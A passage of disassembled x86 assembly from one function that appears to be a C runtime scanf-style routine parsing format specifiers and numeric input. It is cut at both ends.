ecx, [ebp+var_C] and ecx, 0FFh push ecx call sub_429750 add esp, 8 mov [ebp+var_1FC], eax jmp short loc_42C7B6 ; --------------------------------------------------------------------------- loc_42C799: ; CODE XREF: sub_42C5E0+19Bj mov edx, [ebp+var_C] and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_1FC], ecx loc_42C7B6: ; CODE XREF: sub_42C5E0+1B7j cmp [ebp+var_1FC], 0 jz short loc_42C7E6 mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*4] mov eax, [ebp+var_C] lea ecx, [eax+edx*2-30h] mov [ebp+var_1C], ecx jmp loc_42C8AD ; --------------------------------------------------------------------------- loc_42C7E6: ; CODE XREF: sub_42C5E0+1DDj mov edx, [ebp+var_C] mov [ebp+var_200], edx mov eax, [ebp+var_200] sub eax, 2Ah mov [ebp+var_200], eax cmp [ebp+var_200], 4Dh ja loc_42C8A5 mov edx, [ebp+var_200] xor ecx, ecx mov cl, byte_42D928[edx] jmp off_42D908[ecx*4] loc_42C820: ; DATA XREF: .XComp0:0042D90Co jmp loc_42C8AD ; --------------------------------------------------------------------------- loc_42C825: ; CODE XREF: sub_42C5E0+239j ; DATA XREF: .XComp0:0042D918o mov al, [ebp+var_38] sub al, 1 mov [ebp+var_38], al mov cl, [ebp+var_14] sub cl, 1 mov [ebp+var_14], cl jmp short loc_42C8AD ; --------------------------------------------------------------------------- loc_42C838: ; CODE XREF: sub_42C5E0+239j ; DATA XREF: .XComp0:0042D910o mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+1] cmp eax, 36h jnz short loc_42C87A mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] cmp edx, 34h jnz short loc_42C87A mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax mov ecx, [ebp+var_1DC] add ecx, 1 mov [ebp+var_1DC], ecx mov [ebp+var_30], 0 mov [ebp+var_2C], 0 jmp short loc_42C8AD ; --------------------------------------------------------------------------- loc_42C87A: ; CODE XREF: sub_42C5E0+263j ; sub_42C5E0+270j jmp short loc_42C8A5 ; --------------------------------------------------------------------------- loc_42C87C: ; CODE XREF: sub_42C5E0+239j ; DATA XREF: .XComp0:0042D914o mov dl, [ebp+var_38] add dl, 1 mov [ebp+var_38], dl jmp short loc_42C8AD ; --------------------------------------------------------------------------- loc_42C887: ; CODE XREF: sub_42C5E0+239j ; DATA XREF: .XComp0:0042D91Co mov al, [ebp+var_38] add al, 1 mov [ebp+var_38], al loc_42C88F: ; CODE XREF: sub_42C5E0+239j ; DATA XREF: .XComp0:0042D920o mov cl, [ebp+var_14] add cl, 1 mov [ebp+var_14], cl jmp short loc_42C8AD ; --------------------------------------------------------------------------- loc_42C89A: ; CODE XREF: sub_42C5E0+239j ; DATA XREF: .XComp0:off_42D908o mov dl, [ebp+var_70] add dl, 1 mov [ebp+var_70], dl jmp short loc_42C8AD ; --------------------------------------------------------------------------- loc_42C8A5: ; CODE XREF: sub_42C5E0+225j ; sub_42C5E0+239j ... mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42C8AD: ; CODE XREF: sub_42C5E0+201j ; sub_42C5E0:loc_42C820j ... jmp loc_42C755 ; --------------------------------------------------------------------------- loc_42C8B2: ; CODE XREF: sub_42C5E0+17Bj movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_42C8D5 mov edx, [ebp+arg_8] mov [ebp+var_1D4], edx mov eax, [ebp+arg_8] add eax, 4 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [ebp+var_3C], edx loc_42C8D5: ; CODE XREF: sub_42C5E0+2D8j mov [ebp+var_18], 0 movsx eax, [ebp+var_14] test eax, eax jnz short loc_42C90C mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 53h jz short loc_42C8F9 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] cmp ecx, 43h jnz short loc_42C904 loc_42C8F9: ; CODE XREF: sub_42C5E0+30Bj mov dl, [ebp+var_14] add dl, 1 mov [ebp+var_14], dl jmp short loc_42C90C ; --------------------------------------------------------------------------- loc_42C904: ; CODE XREF: sub_42C5E0+317j mov al, [ebp+var_14] sub al, 1 mov [ebp+var_14], al loc_42C90C: ; CODE XREF: sub_42C5E0+2FFj ; sub_42C5E0+322j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] or edx, 20h mov [ebp+var_C], edx cmp [ebp+var_C], 6Eh jz short loc_42C95E cmp [ebp+var_C], 63h jz short loc_42C943 cmp [ebp+var_C], 7Bh jz short loc_42C943 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_20] push ecx call sub_42DAA0 add esp, 8 mov [ebp+var_1D8], eax jmp short loc_42C95E ; --------------------------------------------------------------------------- loc_42C943: ; CODE XREF: sub_42C5E0+343j ; sub_42C5E0+349j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax loc_42C95E: ; CODE XREF: sub_42C5E0+33Dj ; sub_42C5E0+361j cmp [ebp+var_1E8], 0 jz short loc_42C971 cmp [ebp+var_1C], 0 jz loc_42D77F loc_42C971: ; CODE XREF: sub_42C5E0+385j mov ecx, [ebp+var_C] mov [ebp+var_204], ecx mov edx, [ebp+var_204] sub edx, 63h mov [ebp+var_204], edx cmp [ebp+var_204], 18h ja loc_42D72A mov ecx, [ebp+var_204] xor eax, eax mov al, byte_42D99E[ecx] jmp off_42D976[eax*4] loc_42C9AB: ; DATA XREF: .XComp0:off_42D976o cmp [ebp+var_1E8], 0 jnz short loc_42C9CC mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_42C9CC: ; CODE XREF: sub_42C5E0+3D2j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_42C9DD mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_42C9DD: ; CODE XREF: sub_42C5E0+3F2j mov [ebp+var_1E0], offset dword_452778 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_42CA60 ; --------------------------------------------------------------------------- loc_42C9F1: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D98Eo movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_42CA02 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_42CA02: ; CODE XREF: sub_42C5E0+417j mov [ebp+var_1E0], offset dword_452770 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_42CA60 ; --------------------------------------------------------------------------- loc_42CA16: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D996o movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_42CA27 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_42CA27: ; CODE XREF: sub_42C5E0+43Cj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_1E0], ecx mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Eh jnz short loc_42CA60 mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov dl, [ebp+var_10] sub dl, 1 mov [ebp+var_10], dl loc_42CA60: ; CODE XREF: sub_42C5E0+40Fj ; sub_42C5E0+434j ... push 20h push 0 lea eax, [ebp+var_60] push eax call sub_421410 add esp, 0Ch cmp [ebp+var_C], 7Bh jnz short loc_42CA9C mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jnz short loc_42CA9C mov byte ptr [ebp+var_8], 5Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax mov [ebp+var_55], 20h loc_42CA9C: ; CODE XREF: sub_42C5E0+494j ; sub_42C5E0+4A3j ... mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jz loc_42CC07 mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_1EC] and eax, 0FFh cmp eax, 2Dh jnz short loc_42CAF8 mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_42CAF8 mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Dh jnz short loc_42CB3E loc_42CAF8: ; CODE XREF: sub_42C5E0+4FAj ; sub_42C5E0+507j mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_60] or cl, al mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov [ebp+edx+var_60], cl jmp loc_42CC02 ; --------------------------------------------------------------------------- loc_42CB3E: ; CODE XREF: sub_42C5E0+516j mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_8] and eax, 0FFh mov ecx, [ebp+var_1EC] and ecx, 0FFh cmp eax, ecx jge short loc_42CB7E mov dl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_24], dl jmp short loc_42CB8D ; --------------------------------------------------------------------------- loc_42CB7E: ; CODE XREF: sub_42C5E0+591j mov al, byte ptr [ebp+var_8] mov byte ptr [ebp+var_24], al mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl loc_42CB8D: ; CODE XREF: sub_42C5E0+59Cj mov dl, byte ptr [ebp+var_8] mov byte ptr [ebp+var_1EC], dl jmp short loc_42CBA6 ; --------------------------------------------------------------------------- loc_42CB98: ; CODE XREF: sub_42C5E0+61Cj mov al, byte ptr [ebp+var_1EC] add al, 1 mov byte ptr [ebp+var_1EC], al loc_42CBA6: ; CODE XREF: sub_42C5E0+5B6j mov ecx, [ebp+var_1EC] and ecx, 0FFh mov edx, [ebp+var_24] and edx, 0FFh cmp ecx, edx jg short loc_42CBFE mov eax, [ebp+var_1EC] and eax, 0FFh sar eax, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov edx, 1 shl edx, cl mov al, [ebp+eax+var_60] or al, dl mov ecx, [ebp+var_1EC] and ecx, 0FFh sar ecx, 3 mov [ebp+ecx+var_60], al jmp short loc_42CB98 ; --------------------------------------------------------------------------- loc_42CBFE: ; CODE XREF: sub_42C5E0+5DDj mov byte ptr [ebp+var_8], 0 loc_42CC02: ; CODE XREF: sub_42C5E0+559j jmp loc_42CA9C ; --------------------------------------------------------------------------- loc_42CC07: ; CODE XREF: sub_42C5E0+4C9j mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_42CC1A jmp loc_42D8CA ; --------------------------------------------------------------------------- loc_42CC1A: ; CODE XREF: sub_42C5E0+633j cmp [ebp+var_C], 7Bh jnz short loc_42CC29 mov ecx, [ebp+var_1E0] mov [ebp+arg_4], ecx loc_42CC29: ; CODE XREF: sub_42C5E0+63Ej mov edx, [ebp+var_3C] mov [ebp+var_1E4], edx mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_42DA80 add esp, 8 loc_42CC4E: ; CODE XREF: sub_42C5E0:loc_42CD90j cmp [ebp+var_1E8], 0 jz short loc_42CC6B mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_42CD95 loc_42CC6B: ; CODE XREF: sub_42C5E0+675j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0FFFFFFFFh jz loc_42CD72 mov ecx, [ebp+var_1D8] sar ecx, 3 movsx edx, [ebp+ecx+var_60] movsx eax, [ebp+var_10] xor edx, eax mov ecx, [ebp+var_1D8] and ecx, 7 mov eax, 1 shl eax, cl and edx, eax test edx, edx jz loc_42CD72 movsx ecx, [ebp+var_70] test ecx, ecx jnz loc_42CD61 movsx edx, [ebp+var_64] test edx, edx jz short loc_42CD4B mov al, byte ptr [ebp+var_1D8] mov [ebp+var_1F0], al mov ecx, [ebp+var_1D8] and ecx, 0FFh mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_42CD1D mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42DA20 add esp, 4 mov [ebp+var_1EF], al loc_42CD1D: ; CODE XREF: sub_42C5E0+720j mov eax, dword_4524F0 push eax lea ecx, [ebp+var_1F0] push ecx lea edx, [ebp+var_4] push edx call sub_434200 add esp, 0Ch mov eax, [ebp+var_3C] mov cx, [ebp+var_4] mov [eax], cx mov edx, [ebp+var_3C] add edx, 2 mov [ebp+var_3C], edx jmp short loc_42CD5F ; --------------------------------------------------------------------------- loc_42CD4B: ; CODE XREF: sub_42C5E0+6F3j mov eax, [ebp+var_3C] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_42CD5F: ; CODE XREF: sub_42C5E0+769j jmp short loc_42CD70 ; --------------------------------------------------------------------------- loc_42CD61: ; CODE XREF: sub_42C5E0+6E7j mov eax, [ebp+var_1E4] add eax, 1 mov [ebp+var_1E4], eax loc_42CD70: ; CODE XREF: sub_42C5E0:loc_42CD5Fj jmp short loc_42CD90 ; --------------------------------------------------------------------------- loc_42CD72: ; CODE XREF: sub_42C5E0+6ADj ; sub_42C5E0+6DBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_42DA80 add esp, 8 jmp short loc_42CD95 ; --------------------------------------------------------------------------- loc_42CD90: ; CODE XREF: sub_42C5E0:loc_42CD70j jmp loc_42CC4E ; --------------------------------------------------------------------------- loc_42CD95: ; CODE XREF: sub_42C5E0+685j ; sub_42C5E0+7AEj mov ecx, [ebp+var_1E4] cmp ecx, [ebp+var_3C] jz short loc_42CDD1 movsx edx, [ebp+var_70] test edx, edx jnz short loc_42CDCF mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax cmp [ebp+var_C], 63h jz short loc_42CDCF movsx ecx, [ebp+var_64] test ecx, ecx jz short loc_42CDC9 mov edx, [ebp+var_3C] mov word ptr [edx], 0 jmp short loc_42CDCF ; --------------------------------------------------------------------------- loc_42CDC9: ; CODE XREF: sub_42C5E0+7DDj mov eax, [ebp+var_3C] mov byte ptr [eax], 0 loc_42CDCF: ; CODE XREF: sub_42C5E0+7C6j ; sub_42C5E0+7D5j ... jmp short loc_42CDD6 ; --------------------------------------------------------------------------- loc_42CDD1: ; CODE XREF: sub_42C5E0+7BEj jmp loc_42D8CA ; --------------------------------------------------------------------------- loc_42CDD6: ; CODE XREF: sub_42C5E0:loc_42CDCFj jmp loc_42D774 ; --------------------------------------------------------------------------- loc_42CDDB: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D982o mov [ebp+var_C], 64h loc_42CDE2: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D992o cmp [ebp+var_1D8], 2Dh jnz short loc_42CDF6 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_42CDFF ; --------------------------------------------------------------------------- loc_42CDF6: ; CODE XREF: sub_42C5E0+809j cmp [ebp+var_1D8], 2Bh jnz short loc_42CE3C loc_42CDFF: ; CODE XREF: sub_42C5E0+814j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_42CE21 cmp [ebp+var_1E8], 0 jz short loc_42CE21 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42CE3C ; --------------------------------------------------------------------------- loc_42CE21: ; CODE XREF: sub_42C5E0+82Cj ; sub_42C5E0+835j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax loc_42CE3C: ; CODE XREF: sub_42C5E0+81Dj ; sub_42C5E0+83Fj cmp [ebp+var_1D8], 30h jnz loc_42CEDE mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax movsx edx, byte ptr [ebp+var_1D8] cmp edx, 78h jz short loc_42CE7C movsx eax, byte ptr [ebp+var_1D8] cmp eax, 58h jnz short loc_42CEA0 loc_42CE7C: ; CODE XREF: sub_42C5E0+88Ej mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_C], 78h jmp short loc_42CEDE ; --------------------------------------------------------------------------- loc_42CEA0: ; CODE XREF: sub_42C5E0+89Aj mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax cmp [ebp+var_C], 78h jz short loc_42CEB8 mov [ebp+var_C], 6Fh jmp short loc_42CEDE ; --------------------------------------------------------------------------- loc_42CEB8: ; CODE XREF: sub_42C5E0+8CDj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_42DA80 add esp, 8 mov [ebp+var_1D8], 30h loc_42CEDE: ; CODE XREF: sub_42C5E0+863j ; sub_42C5E0+8BEj ... jmp short loc_42CF3E ; --------------------------------------------------------------------------- loc_42CEE0: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D98Ao mov [ebp+var_38], 1 loc_42CEE4: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D97Ao cmp [ebp+var_1D8], 2Dh jnz short loc_42CEF8 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_42CF01 ; --------------------------------------------------------------------------- loc_42CEF8: ; CODE XREF: sub_42C5E0+90Bj cmp [ebp+var_1D8], 2Bh jnz short loc_42CF3E loc_42CF01: ; CODE XREF: sub_42C5E0+916j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_42CF23 cmp [ebp+var_1E8], 0 jz short loc_42CF23 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42CF3E ; --------------------------------------------------------------------------- loc_42CF23: ; CODE XREF: sub_42C5E0+92Ej ; sub_42C5E0+937j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax loc_42CF3E: ; CODE XREF: sub_42C5E0:loc_42CEDEj ; sub_42C5E0+91Fj ... cmp [ebp+var_1DC], 0 jz loc_42D139 loc_42CF4B: ; CODE XREF: sub_42C5E0:loc_42D114j movsx eax, [ebp+var_18] test eax, eax jnz loc_42D119 cmp [ebp+var_C], 78h jnz loc_42CFE6 cmp dword_4524F0, 1 jle short loc_42CF86 push 80h mov ecx, [ebp+var_1D8] push ecx call sub_429750 add esp, 8 mov [ebp+var_208], eax jmp short loc_42CFA3 ; --------------------------------------------------------------------------- loc_42CF86: ; CODE XREF: sub_42C5E0+988j mov edx, [ebp+var_1D8] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 80h mov [ebp+var_208], ecx loc_42CFA3: ; CODE XREF: sub_42C5E0+9A4j cmp [ebp+var_208], 0 jz short loc_42CFD9 mov ecx, 4 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_4347D0 mov [ebp+var_30], eax mov [ebp+var_2C], edx mov edx, [ebp+var_1D8] push edx call sub_42D9C0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_42CFE1 ; --------------------------------------------------------------------------- loc_42CFD9: ; CODE XREF: sub_42C5E0+9CAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42CFE1: ; CODE XREF: sub_42C5E0+9F7j jmp loc_42D08D ; --------------------------------------------------------------------------- loc_42CFE6: ; CODE XREF: sub_42C5E0+97Bj cmp dword_4524F0, 1 jle short loc_42D008 push 4 mov ecx, [ebp+var_1D8] push ecx call sub_429750 add esp, 8 mov [ebp+var_20C], eax jmp short loc_42D022 ; --------------------------------------------------------------------------- loc_42D008: ; CODE XREF: sub_42C5E0+A0Dj mov edx, [ebp+var_1D8] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_20C], ecx loc_42D022: ; CODE XREF: sub_42C5E0+A26j cmp [ebp+var_20C], 0 jz short loc_42D085 cmp [ebp+var_C], 6Fh jnz short loc_42D05D cmp [ebp+var_1D8], 38h jge short loc_42D052 mov ecx, 3 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_4347D0 mov [ebp+var_30], eax mov [ebp+var_2C], edx jmp short loc_42D05B ; --------------------------------------------------------------------------- loc_42D052: ; CODE XREF: sub_42C5E0+A58j mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl loc_42D05B: ; CODE XREF: sub_42C5E0+A70j jmp short loc_42D083 ; --------------------------------------------------------------------------- loc_42D05D: ; CODE XREF: sub_42C5E0+A4Fj mov ecx, 2 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_4347D0 add eax, [ebp+var_30] adc edx, [ebp+var_2C] mov ecx, 1 call sub_4347D0 mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_42D083: ; CODE XREF: sub_42C5E0:loc_42D05Bj jmp short loc_42D08D ; --------------------------------------------------------------------------- loc_42D085: ; CODE XREF: sub_42C5E0+A49j mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42D08D: ; CODE XREF: sub_42C5E0:loc_42CFE1j ; sub_42C5E0:loc_42D083j movsx ecx, [ebp+var_18] test ecx, ecx jnz short loc_42D0F8 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1D8] sub eax, 30h cdq mov ecx, [ebp+var_30] add ecx, eax mov eax, [ebp+var_2C] adc eax, edx mov [ebp+var_30], ecx mov [ebp+var_2C], eax cmp [ebp+var_1E8], 0 jz short loc_42D0DB mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42D0DB mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_42D0F6 ; --------------------------------------------------------------------------- loc_42D0DB: ; CODE XREF: sub_42C5E0+ADFj ; sub_42C5E0+AEEj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax loc_42D0F6: ; CODE XREF: sub_42C5E0+AF9j jmp short loc_42D114 ; --------------------------------------------------------------------------- loc_42D0F8: ; CODE XREF: sub_42C5E0+AB3j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42DA80 add esp, 8 loc_42D114: ; CODE XREF: sub_42C5E0:loc_42D0F6j jmp loc_42CF4B ; --------------------------------------------------------------------------- loc_42D119: ; CODE XREF: sub_42C5E0+971j movsx edx, [ebp+var_68] test edx, edx jz short loc_42D134 mov eax, [ebp+var_30] neg eax mov ecx, [ebp+var_2C] adc ecx, 0 neg ecx mov [ebp+var_30], eax mov [ebp+var_2C], ecx loc_42D134: ; CODE XREF: sub_42C5E0+B3Fj jmp loc_42D2DD ; --------------------------------------------------------------------------- loc_42D139: ; CODE XREF: sub_42C5E0+965j ; sub_42C5E0:loc_42D2C8j movsx edx, [ebp+var_18] test edx, edx jnz loc_42D2CD cmp [ebp+var_C], 78h jz short loc_42D151 cmp [ebp+var_C], 70h jnz short loc_42D1C9 loc_42D151: ; CODE XREF: sub_42C5E0+B69j cmp dword_4524F0, 1 jle short loc_42D176 push 80h mov eax, [ebp+var_1D8] push eax call sub_429750 add esp, 8 mov [ebp+var_210], eax jmp short loc_42D193 ; --------------------------------------------------------------------------- loc_42D176: ; CODE XREF: sub_42C5E0+B78j mov ecx, [ebp+var_1D8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp+var_210], eax loc_42D193: ; CODE XREF: sub_42C5E0+B94j cmp [ebp+var_210], 0 jz short loc_42D1BC mov ecx, [ebp+var_40] shl ecx, 4 mov [ebp+var_40], ecx mov edx, [ebp+var_1D8] push edx call sub_42D9C0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_42D1C4 ; --------------------------------------------------------------------------- loc_42D1BC: ; CODE XREF: sub_42C5E0+BBAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42D1C4: ; CODE XREF: sub_42C5E0+BDAj jmp loc_42D24B ; --------------------------------------------------------------------------- loc_42D1C9: ; CODE XREF: sub_42C5E0+B6Fj cmp dword_4524F0, 1 jle short loc_42D1EB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_429750 add esp, 8 mov [ebp+var_214], eax jmp short loc_42D205 ; --------------------------------------------------------------------------- loc_42D1EB: ; CODE XREF: sub_42C5E0+BF0j mov edx, [ebp+var_1D8] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_214], ecx loc_42D205: ; CODE XREF: sub_42C5E0+C09j cmp [ebp+var_214], 0 jz short loc_42D242 cmp [ebp+var_C], 6Fh jnz short loc_42D232 cmp [ebp+var_1D8], 38h jge short loc_42D228 mov edx, [ebp+var_40] shl edx, 3 mov [ebp+var_40], edx jmp short loc_42D230 ; --------------------------------------------------------------------------- loc_42D228: ; CODE XREF: sub_42C5E0+C3Bj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42D230: ; CODE XREF: sub_42C5E0+C46j jmp short loc_42D240 ; --------------------------------------------------------------------------- loc_42D232: ; CODE XREF: sub_42C5E0+C32j mov ecx, [ebp+var_40] mov edx, [ebp+var_40] lea eax, [edx+ecx*4] shl eax, 1 mov [ebp+var_40], eax loc_42D240: ; CODE XREF: sub_42C5E0:loc_42D230j jmp short loc_42D24B ; --------------------------------------------------------------------------- loc_42D242: ; CODE XREF: sub_42C5E0+C2Cj mov cl, [ebp+var_18] add cl, 1 mov [ebp+var_18], cl loc_42D24B: ; CODE XREF: sub_42C5E0:loc_42D1C4j ; sub_42C5E0:loc_42D240j movsx edx, [ebp+var_18] test edx, edx jnz short loc_42D2AC mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+var_40] lea eax, [edx+ecx-30h] mov [ebp+var_40], eax cmp [ebp+var_1E8], 0 jz short loc_42D28F mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42D28F mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_42D2AA ; --------------------------------------------------------------------------- loc_42D28F: ; CODE XREF: sub_42C5E0+C93j ; sub_42C5E0+CA2j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax loc_42D2AA: ; CODE XREF: sub_42C5E0+CADj jmp short loc_42D2C8 ; --------------------------------------------------------------------------- loc_42D2AC: ; CODE XREF: sub_42C5E0+C71j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42DA80 add esp, 8 loc_42D2C8: ; CODE XREF: sub_42C5E0:loc_42D2AAj jmp loc_42D139 ; --------------------------------------------------------------------------- loc_42D2CD: ; CODE XREF: sub_42C5E0+B5Fj movsx edx, [ebp+var_68] test edx, edx jz short loc_42D2DD mov eax, [ebp+var_40] neg eax mov [ebp+var_40], eax loc_42D2DD: ; CODE XREF: sub_42C5E0:loc_42D134j ; sub_42C5E0+CF3j cmp [ebp+var_C], 46h jnz short loc_42D2EA mov [ebp+var_6C], 0 loc_42D2EA: ; CODE XREF: sub_42C5E0+D01j cmp [ebp+var_6C], 0 jz short loc_42D338 movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_42D336 mov edx, [ebp+var_34] add edx, 1 mov [ebp+var_34], edx loc_42D301: ; CODE XREF: sub_42C5E0+D70j cmp [ebp+var_1DC], 0 jz short loc_42D31A mov eax, [ebp+var_3C] mov ecx, [ebp+var_30] mov [eax], ecx mov edx, [ebp+var_2C] mov [eax+4], edx jmp short loc_42D336 ; --------------------------------------------------------------------------- loc_42D31A: ; CODE XREF: sub_42C5E0+D28j movsx eax, [ebp+var_38] test eax, eax jz short loc_42D32C mov ecx, [ebp+var_3C] mov edx, [ebp+var_40] mov [ecx], edx jmp short loc_42D336 ; --------------------------------------------------------------------------- loc_42D32C: ; CODE XREF: sub_42C5E0+D40j mov eax, [ebp+var_3C] mov cx, word ptr [ebp+var_40] mov [eax], cx 